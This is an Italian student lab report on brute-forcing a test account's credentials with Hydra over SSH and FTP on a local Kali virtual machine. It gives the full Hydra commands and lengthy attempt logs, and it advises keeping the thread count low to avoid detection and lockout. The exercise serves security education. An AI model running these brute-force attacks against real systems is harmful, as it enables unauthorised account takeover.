

Relazione S6/L5

Lo scenario vede un utente ipotetico (test_user) con una password associata (testpass) subire un attacco di cracking. L'obiettivo dell'attaccante era trovare l'username e password per l'accesso senza sapere quali fossero.

Aperto un primo terminale si effettua l'accesso come l'utente x, in esempio rinominato test_user (bersaglio dell'attacco). In precedenza, sono stati impostati tutti i dati riguardanti l'utente come nome, numero di telefono e altre informazioni.

```
(kali@kalivbox)-[~]  
$ sudo service ssh start  
  
(kali@kalivbox)-[~]  
$ ssh test_user@192.168.10.10  
test_user@192.168.10.10's password:  
Linux kalivbox 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri Dec 13 14:25:24 2024 from 192.168.10.10  
(test_user@kalivbox)-[~]  
$
```

Nel frattempo, si è impostata un'altra shell per simulare l'attaccante il quale userà il tool "Hydra" per tentare una sessione di cracking ai danni del mal capitato. Tenterà di scoprire l'username e la relativa password d'accesso

Con Hydra si è usato il comando "hydra -L listaUtenti.txt -P listaPassword.txt 192.168.10.10 -t 2 ssh -V" per tentare l'attacco di cracking.

Prendendo in esame il comando presentato gli switch -L e -P servono per utilizzare un attacco a dizionario per una scansione su tutti i componenti presenti nella lista degli utenti confrontandoli con tutta la lista delle password fino a trovare un accesso valido. Notiamo anche che il -t è impostato a 2 per poter testare tutto con una bassa probabilità di essere scoperti dalla macchina attaccata e che venga arrestato il processo di ricerca. Lo switch "-V" serve invece a monitorare "live" i tentativi di brute force in corso.

Le liste utilizzate nell'attacco a dizionario sono state create a posta per velocizzare il processo che, pur avendo pochi dati su cui lavorare (dalle 30 alle 40 per ogni lista), ci ha messo un tempo relativamente lungo per completare tutta la scansione dato il settaggio in -t 2. Se si volesse tentare un'attacco più veloce si potrebbe cambiare l'impostazione di "-t" con la conseguenza che il sistema riveli troppi tentativi di accesso e blocchi la sessione di login per un tot di tempo o che faccia partire un avviso a chi si occupa della sicurezza, un responsabile, oppure che scriva nel report di elevati tentativi falliti in poco tempo sulla macchina attaccata.

Qui vediamo la partenza del tentativo di cracking da parte del malintenzionato.

Come si può notare alla partenza dell'attacco di brute force la prima cosa che viene stampata è un avviso di non utilizzare questo tool in ambiti militari o governativi come agenzie di servizi segreti con intenzioni illegali.

```
(kali@kalivbox)-[~]
$ hydra -L listaUtenti.txt -P listaPassword.txt 192.168.10.10 -t 2 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 15:56:15
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2450 login tries (l:49/p:50), ~1225 tries per task
[DATA] attacking ssh://192.168.10.10:22/
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "qwerty1" - 1 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "qwerty2" - 2 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "qwerty3" - 3 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "password1" - 4 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "password2" - 5 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "password3" - 6 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "adminp1" - 7 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "adminp2" - 8 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "adminp3" - 9 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwd1" - 10 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwd2" - 11 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwd3" - 12 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passw1" - 13 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passw2" - 14 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passw3" - 15 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "permesso1" - 16 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "permesso2" - 17 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "permesso3" - 18 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "avanti1" - 19 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "avanti2" - 20 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "avanti3" - 21 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "wordpass1" - 22 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "wordpass2" - 23 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "wordpass3" - 24 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passwordt1" - 25 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passwordt2" - 26 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "passwordt3" - 27 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwdire1" - 28 of 2450 [child 1] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwdire2" - 29 of 2450 [child 0] (0/0)
[ATTEMPT] target 192.168.10.10 - login "admin1" - pass "pwdire3" - 30 of 2450 [child 1] (0/0)
```

Oltre a questo avviso vengono evidenziate la data e l'ora di avvio, i numeri di task attivi massimi che può sopportare il server, il numero effettivo di task che stanno operando al momento, il numero di login che verranno eseguiti e anche l'IP target con la relativa porta.

```
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "password2" - 1655 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "password3" - 1656 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "adminp1" - 1657 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "adminp2" - 1658 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "adminp3" - 1659 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pword1" - 1660 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pword2" - 1661 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pword3" - 1662 of 2450 [child 0] (0/0)
STATUS] 36.13 tries/min, 1662 tries in 00:46h, 788 to do in 00:22h, 2 active
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passw1" - 1663 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passw2" - 1664 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passw3" - 1665 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "permesso1" - 1666 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "permesso2" - 1667 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "permesso3" - 1668 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "avanti1" - 1669 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "avanti2" - 1670 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "avanti3" - 1671 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "wordpass1" - 1672 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "wordpass2" - 1673 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "wordpass3" - 1674 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passwordt1" - 1675 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passwordt2" - 1676 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "passwordt3" - 1677 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwdire1" - 1678 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwdire2" - 1679 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwdire3" - 1680 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwm1" - 1681 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwm2" - 1682 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "pwm3" - 1683 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user" - pass "testpass" - 1684 of 2450 [child 1] (0/0)
22][ssh] host: 192.168.10.10 login: test_user password: testpass
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "qwerty1" - 1701 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "qwerty2" - 1702 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "qwerty3" - 1703 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "password1" - 1704 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "password2" - 1705 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "password3" - 1706 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "adminp1" - 1707 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "adminp2" - 1708 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "adminp3" - 1709 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "pword1" - 1710 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "pword2" - 1711 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "pword3" - 1712 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "passw1" - 1713 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "passw2" - 1714 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "passw3" - 1715 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "permesso1" - 1716 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "permesso2" - 1717 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "test_user1" - pass "permesso3" - 1718 of 2450 [child 1] (0/0)
```

La ricerca ha impiegato 1:07h per controllare tutte le combinazioni possibili trovando poi una corrispondenza ed evidenziandola. Ottenute le informazioni volute si potrebbe terminare l'attacco, ma in questo caso abbiamo deciso di far teminare tutta la scansione delle liste.

Alla fine conclude il servizio dicendo quante combinazioni funzionanti ha trovato.

```
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "password3" - 2406 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "adminp1" - 2407 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "adminp2" - 2408 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "adminp3" - 2409 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdord1" - 2410 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdord2" - 2411 of 2450 [child 0] (0/0)
STATUS] 35.99 tries/min, 2411 tries in 01:07h, 39 to do in 00:02h, 2 active
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdord3" - 2412 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwd1" - 2413 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwd2" - 2414 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwd3" - 2415 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "permesso1" - 2416 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "permesso2" - 2417 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "permesso3" - 2418 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "avanti1" - 2419 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "avanti2" - 2420 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "avanti3" - 2421 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "wordpass1" - 2422 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "wordpass2" - 2423 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "wordpass3" - 2424 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwordt1" - 2425 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwordt2" - 2426 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "passwordt3" - 2427 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdire1" - 2428 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdire2" - 2429 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdire3" - 2430 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwman1" - 2431 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwman2" - 2432 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwman3" - 2433 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "testpass" - 2434 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdtemp1" - 2435 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdtemp2" - 2436 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdtemp3" - 2437 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "freepwd1" - 2438 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "freepwd2" - 2439 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "freepwd3" - 2440 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdguard1" - 2441 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdguard2" - 2442 of 2450 [child 0] (0/0)
STATUS] 35.91 tries/min, 2442 tries in 01:08h, 8 to do in 00:01h, 2 active
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "pwdguard3" - 2443 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "crpwd1" - 2444 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "crpwd2" - 2445 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "crpwd3" - 2446 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "moperatorpwd1" - 2447 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "moperatorpwd" - 2448 of 2450 [child 1] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "moperatorpwd3" - 2449 of 2450 [child 0] (0/0)
ATTEMPT] target 192.168.10.10 - login "guardlog3" - pass "" - 2450 of 2450 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 17:04:27
```

```
—(kali@kalivbox)-[~]
—$ █
```


Fase 2

Nella fase 2 abbiamo optato sempre per un attacco con Hydra ma utilizzando un altro servizio, il servizio in questione è l' FTP. Dopo aver installato il servizio abbiamo fatto partire il medesimo tipo di attacco ma tramite appunto il servizio di File Transfert Protocol.

```
(kali@kalivbox)-[~]
$ sudo apt-get install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
 fonts-liberation2 freerdp2-x11 hydra-gtk ibverbs-providers libassuan0 libavfilter9 libbfio1
 libboost-iostreams1.83.0 libboost-thread1.83.0 libcephfs2 libfmt9 libfreerdp-client2-2t64 libfreerdp2-2t64
 libgail-common libgail18t64 libgeos3.12.2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libgspell-1-2
 libgtk2.0-0t64 libgtk2.0-bin libgtk2.0-common libibverbs1 libimobiledevice6 libiniparser1 libjim0.82t64
 libjsoncpp25 libmbcrypto7t64 libmfx1 libperl5.38t64 libplacebo338 libplist3 libpostproc57 librados2
 librdmacm1t64 libusbmuxd6 libwinpr2-2t64 libzip4t64 openjdk-17-jre openjdk-17-jre-headless perl-modules-5.38
 python3-hatch-vcs python3-hatchling python3-pathspect python3-pluggy python3-setuptools-scm
 python3-trove-classifiers rwho rwhod xcape
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
 vsftpd
0 upgraded, 1 newly installed, 0 to remove and 183 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 0s (288 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 419615 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/e
mpty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.4.0) ...

(kali@kalivbox)-[~]
$ sudo service vsftpd start

(kali@kalivbox)-[~]
$ hydra -L listaUtenti.txt -P listaPassword.txt ftp://192.168.10.10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 17:15:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2450 login tries (l:49/p:50), ~154 tries per task
[DATA] attacking ftp://192.168.10.10:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 2162 to do in 00:08h, 16 active
```

Come si nota dallo script del comando in questo caso non è stato cambiato molto a parte il servizio impostato e il limite di thread non specificato, ma già al primo tentativo l'attacco al servizio FTP è riuscito dandoci in risposta username e password senza blocchi da parte della macchina attaccata. Il processo è stato molto rapido non avendo appunto settato un limite di thread, quindi di default arrivava fino a 16 combinazioni in simultanea riducendo drasticamente il tempo di ricerca.

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 17:15:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2450 login tries (l:49/p:50), ~154 tries per task
[DATA] attacking ftp://192.168.10.10:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 2162 to do in 00:08h, 16 active
[STATUS] 276.00 tries/min, 828 tries in 00:03h, 1622 to do in 00:06h, 16 active
[21][ftp] host: 192.168.10.10 login: test_user password: testpass
[STATUS] 284.71 tries/min, 1993 tries in 00:07h, 457 to do in 00:02h, 16 active
```

Conclusioni

Hydra è uno strumento versatile capace di attacchi di vario genere, due di questi li abbiamo visti oggi.

Attacco SSH: protocollo di rete SH consente una connessione sicura tra due macchine, di solito sfrutta la porta 22, occorrono username e password per l'autenticazione. L'SSH cifra tutte le comunicazioni tra il client ed il server rendendo difficile intercettare i dati, ma Hydra riesce ad eseguire attacchi di brute force cercando di indovinare le credenziali dell'utente (password e username), ma deve essere impostato con un basso numero di thread altrimenti la macchina vittima reagirà all'attacco bloccando i tentativi di log legati all'account o alla macchina.

Attacco FTP: il protocollo FTP è utilizzato per il trasferimento di file tra client e server, di solito sfrutta la porta 21 di default, ma sfrutta anche una gamma di porte per il trasferimento in modalità passiva, gli occorrono username e password per l'autenticazione. FTP non cifra i dati trasmessi, rendendo le comunicazioni vulnerabili ad intercettazioni. Hydra tenterà anche in questo caso di carpire username e password dell'utente sotto attacco.

In sintesi, mentre entrambi i servizi utilizzano nomi utente e password per l'autenticazione, SSH offre una maggiore sicurezza grazie alla crittografia dei dati trasmessi, mentre FTP non lo fa. Hydra può essere utilizzato per attaccare entrambi i servizi cercando di forzare le credenziali.